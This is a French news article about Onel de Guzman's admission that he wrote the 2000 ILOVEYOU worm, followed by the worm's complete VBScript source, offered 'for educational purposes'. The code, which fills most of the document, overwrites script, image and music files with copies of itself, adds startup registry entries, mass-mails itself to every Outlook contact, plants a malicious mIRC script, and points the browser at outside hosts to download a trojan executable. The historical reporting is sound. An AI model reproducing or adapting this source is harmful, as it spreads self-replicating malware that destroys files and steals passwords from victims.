Pendant deux décennies, un quasi-mystère a plané sur l’identité de l’individu derrière cette attaque. En effet, suite aux enquêtes initiales menées à l’époque de l’apparition du virus informatique, le présumé auteur (alors étudiant en informatique) n’avait pas réfuté la possibilité qu’il soit le véritable responsable. Dans une récente publication, ce dernier met fin à toute spéculation et assume l’entière responsabilité de la première pandémie de virus informatique.
Celle-ci est connue du monde depuis le 4 mai 2000 sous diverses appellations : I Love You (je t’aime), Loveletter ou encore Love Bug. Les victimes recevaient un courriel avec une pièce jointe intitulée LOVE-LETTER-FOR-YOU. Cette dernière contenait en fait du code VBScript capable d’écraser des fichiers, de voler des mots de passe et d’envoyer des copies de lui-même de façon automatique à tous les contacts du carnet d’adresses Microsoft Outlook de la victime. En quelques heures, le virus mis au point par Onel de Guzman s’était propagé dans le monde entier. Bilan initial : près de 45 millions de machines, soit environ 10 % de tous les ordinateurs connectés à Internet sur la planète à cette époque. De grosses organisations comme le Pentagone et le Parlement du Royaume-Uni avaient dû déconnecter leurs infrastructures de courriel pendant des heures pour s’en prémunir. D’après ce que rapporte la BBC, les ravages causés par l’attaque informatique se chiffrent à des milliards de dollars.
À l'époque, la connexion à Internet se faisait par le biais du réseau téléphonique commuté et nécessitait de tels mots de passe. Onel de Guzman a expliqué à la BBC qu’il avait créé le ver informatique afin de voler des mots de passe et d'accéder ainsi à Internet sans débourser d’argent. Désormais âgé de 44 ans, de Guzman assure qu’il n’a jamais eu l’intention que son ver informatique se répande à l’échelle mondiale.
« Je ne m’attendais pas à ce qu’il se retrouve aux États-Unis et en Europe. J’étais surpris », a-t-il affirmé dans une entrevue. Pourtant, il a modifié le code du virus au printemps 2000 de façon à profiter d’une lacune du système d’exploitation Microsoft Windows 95, ce, pour créer une chaîne de transmission automatique au travers du logiciel Outlook de Microsoft. Initialement, il faisait parvenir le virus uniquement à des victimes aux Philippines. Le contact avec ces dernières se faisait via des espaces de clavardage.
À l’époque, les autorités le soupçonnaient sur la base de traces retrouvées sur des supports informatiques logés dans une chambre d’étudiant qu’il partageait avec son frère. En fait, les disques trouvés sur place par la police de Manille prouvaient qu’il était l’un des auteurs. Sur cet aspect, Onel de Guzman précise qu’il était le seul auteur du virus.
« C'est un cheval de Troie qui proclame son amour pour le destinataire et vous demande d'ouvrir sa pièce jointe. Même pour un premier rendez-vous, il vous aime alors tellement qu'il envoie des copies de lui-même à toutes les personnes de votre carnet d'adresses et commence à détruire des fichiers sur votre disque », souligne un internaute des contradictions caractéristiques de la conception de ce virus. En effet, comment expliquer la présence de fonctionnalités de destruction de fichiers alors que l’objectif était de récupérer des mots de passe pour accéder à Internet sans dépenser de l’argent ?
Onel de Guzman a exprimé des regrets quant aux dommages que sa création a causés. À Manille, il œuvre désormais dans la réparation de téléphones portables. Le code source du ver informatique est disponible à des fins pédagogiques :
Code VBScript : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 | rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next rem Setup global variables to be used throughout subroutines and functions. Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow eq = "" ctr = 0 rem Open the current script file and define "vbscopy" which can be used to rem read its own contents. Used to replicate itself in other files. Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile(WScript.ScriptFullname, 1) vbscopy = file.ReadAll main() rem Subroutine to initalize the program Sub main() On Error Resume Next Dim wscr, rr Set wscr = CreateObject("WScript.Shell") rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") If (rr >= 1) Then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD" End If rem Finds special folders, such as system, temporary and windows folders. Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and rem LOVE-LETTER-FOR-YOU.TXT.vbs c.Copy(dirsystem & "\MSKernel32.vbs") c.Copy(dirwin & "\Win32DLL.vbs") c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() End Sub rem Subroutine to create/update registry values. Sub regruns() On Error Resume Next Dim num, downread rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs" rem Get internet Explorer's download directory. downread = "" downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") rem If the directory wasn't found, then use C:\ drive as the download directory. If (downread = "") Then downread = "c:\" End If rem Check if a file named "WinFAT32.exe" exists in the system files. If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then Randomize rem Generate a random number from 1 to 4. num = Int((4 * Rnd) + 1) rem Randomly update the Internet Explorer's start page that leads to a rem page that will download a malicious executable "WIN-BUGSFIX.exe". If num = 1 Then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" ElseIf num = 2 Then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" ElseIf num = 3 Then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" ElseIf num = 4 Then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" End If End If rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory. If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then rem Add WIN-BUGSFIX.exe to run on startup regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe" rem Update Internet Explorer's start page to "about:blank" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank" End If End Sub rem Subroutine to list folders in drives. Sub listadriv() On Error Resume Next Dim d, dc, s Set dc = fso.Drives For Each d In dc If (d.DriveType = 2) Or (d.DriveType = 3) Then folderlist(d.path & "\") End If Next listadriv = s End Sub rem Subroutine infect other files, by copying itself into them as well rem as creating a malicious mIRC script. Sub infectfiles(folderspec) On Error Resume Next Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3 Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext = fso.GetExtensionName(f1.path) ext = lcase(ext) s = lcase(f1.name) rem Copies itself into every file with vbs/vbe extension. If (ext = "vbs") Or (ext = "vbe") Then Set ap = fso.OpenTextFile(f1.path, 2, true) ap.write vbscopy ap.close rem Copies itself into every file with js/jse/css/wsh/sct/hta extension. ElseIf (ext = "js") Or (ext = "jse") Or (ext = "css") Or (ext = "wsh") Or (ext = "sct") Or (ext = "hta") Then Set ap = fso.OpenTextFile(f1.path, 2, true) ap.write vbscopy ap.close bname = fso.GetBaseName(f1.path) Set cop = fso.GetFile(f1.path) cop.copy(folderspec & "\" & bname & ".vbs") fso.DeleteFile(f1.path) rem Copies itself into every file with jpg/jpeg extension. ElseIf (ext = "jpg") Or (ext = "jpeg") Then rem Copies itself Set ap = fso.OpenTextFile(f1.path, 2, true) ap.write vbscopy ap.close Set cop = fso.GetFile(f1.path) cop.copy(f1.path & ".vbs") fso.DeleteFile(f1.path) rem Copies itself into every file with mp3/mp2 extension. ElseIf (ext = "mp3") Or (ext = "mp2") Then Set mp3 = fso.CreateTextFile(f1.path & ".vbs") mp3.write vbscopy mp3.close Set att = fso.GetFile(f1.path) att.attributes = att.attributes + 2 End If If (eq <> folderspec) Then rem Looks for mIRC and related files to determine whether it rem should create/replace its script.ini with a malicious script. If (s = "mirc32.exe") Or (s = "mlink32.exe") Or (s = "mirc.ini") Or (s = "script.ini") Or (s = "mirc.hlp") Then Set scriptini = fso.CreateTextFile(folderspec & "\script.ini") rem The following mIRC script checks if the "nick" of a user is the same rem as "me" to halt and send a DCC command to send a message to the user rem with a link to the LOVE=LETTER-FOR-YOU html page on the system. scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq = folderspec End If End If Next End Sub rem Subroutine used to get file listing of a folder. Sub folderlist(folderspec) On Error Resume Next Dim f, f1, sf Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf infectfiles(f1.path) folderlist(f1.path) Next End Sub rem Subroutine used to create/write registry entries. Sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey, regvalue End Sub rem Subroutine used to get registry entries. Function regget(value) Set regedit = CreateObject("WScript.Shell") regget = regedit.RegRead(value) End Function rem Function to check if a file exists. Function fileexist(filespec) On Error Resume Next Dim msg If (fso.FileExists(filespec)) Then msg = 0 Else msg = 1 End If fileexist = msg End Function rem Function to check if a folder exists. Function folderexist(folderspec) On Error Resume Next Dim msg If (fso.GetFolderExists(folderspec)) Then msg = 0 Else msg = 1 End If fileexist = msg End Function rem Subroutine to send emails to the user's contacts (MAPI) Sub spreadtoemail() On Error Resume Next Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad Set regedit = CreateObject("WScript.Shell") Set out = WScript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") rem Goes through all contacts in the address book and sends an email rem with the LOVE-LETTER-FOR-YOU program as an attachment. For ctrlists = 1 To mapi.AddressLists.Count Set a = mapi.AddressLists(ctrlists) x = 1 regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a) If (regv = "") Then regv = 1 End If If (int(a.AddressEntries.Count) > int(regv)) Then For ctrentries = 1 To a.AddressEntries.Count malead = a.AddressEntries(x) regad = "" regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead ) If (regad = "") Then Set male = out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD" End If x = x + 1 Next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count End If Next Set out = Nothing Set mapi = Nothing End Sub rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM. Sub html On Error Resume Next Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6 rem Generates an HTML page which contains JScript and VBScript replicate itself. rem by leveraging ActiveX. It also listens for mouse and key events, which rem ends up open more windows of the page. dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>" & vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>" & vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>" & vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ " & vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>" & vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>" & vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>" & vbcrlf & _ "<?-?BODY><?-?HTML>" & vbcrlf & _ "<SCRIPT language=@-@JScript@-@>" & vbcrlf & _ "<!--?-??-?" & vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}" & vbcrlf & _ "?-??-?-->" & vbcrlf & _ "<?-?SCRIPT>" & vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>" & vbcrlf & _ "<!--" & vbcrlf & _ "on error resume next" & vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit" & vbcrlf & _ "aw=1" & vbcrlf & _ "code=" dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)" & vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)" & vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))" & vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))" & vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))" & vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)" & vbcrlf & _ "wri.write code4" & vbcrlf & _ "wri.close" & vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then" & vbcrlf & _ "If (err.number=424) Then" & vbcrlf & _ "aw=0" & vbcrlf & _ "End If" & vbcrlf & _ "If (aw=1) Then" & vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@" & vbcrlf & _ "window.close" & vbcrlf & _ "End If" & vbcrlf & _ "End If" & vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)" & vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@" & vbcrlf & _ "?-??-?-->" & vbcrlf & _ "<?-?SCRIPT>" dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'") dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """") dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/") dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\") dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'") dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """") dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/") dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\") Set fso = CreateObject("Scripting.FileSystemObject") Set c = fso.OpenTextFile(WScript.ScriptFullName, 1) lines = Split(c.ReadAll,vbcrlf) l1 = ubound(lines) For n = 0 to ubound(lines) lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91)) lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93)) lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37)) If (l1 = n) Then lines(n) = chr(34) + lines(n) + chr(34) Else lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _" End If Next rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory. Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM") b.close Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2) d.write dt5 d.write join(lines, vbcrlf) d.write vbcrlf d.write dt6 d.close End Sub |
Source : BBC
Et vous ?
Quels enseignements tirez-vous du code source de ce maliciel ?
Quel commentaire faites-vous de la présence de fonctionnalités destructrices en son sein ?
Ne sont-elles pas en contradiction avec ce que l’auteur dit être ses objectifs initiaux ?
Quelles sont vos anecdotes en lien avec cette pandémie informatique de l’année 2000 ?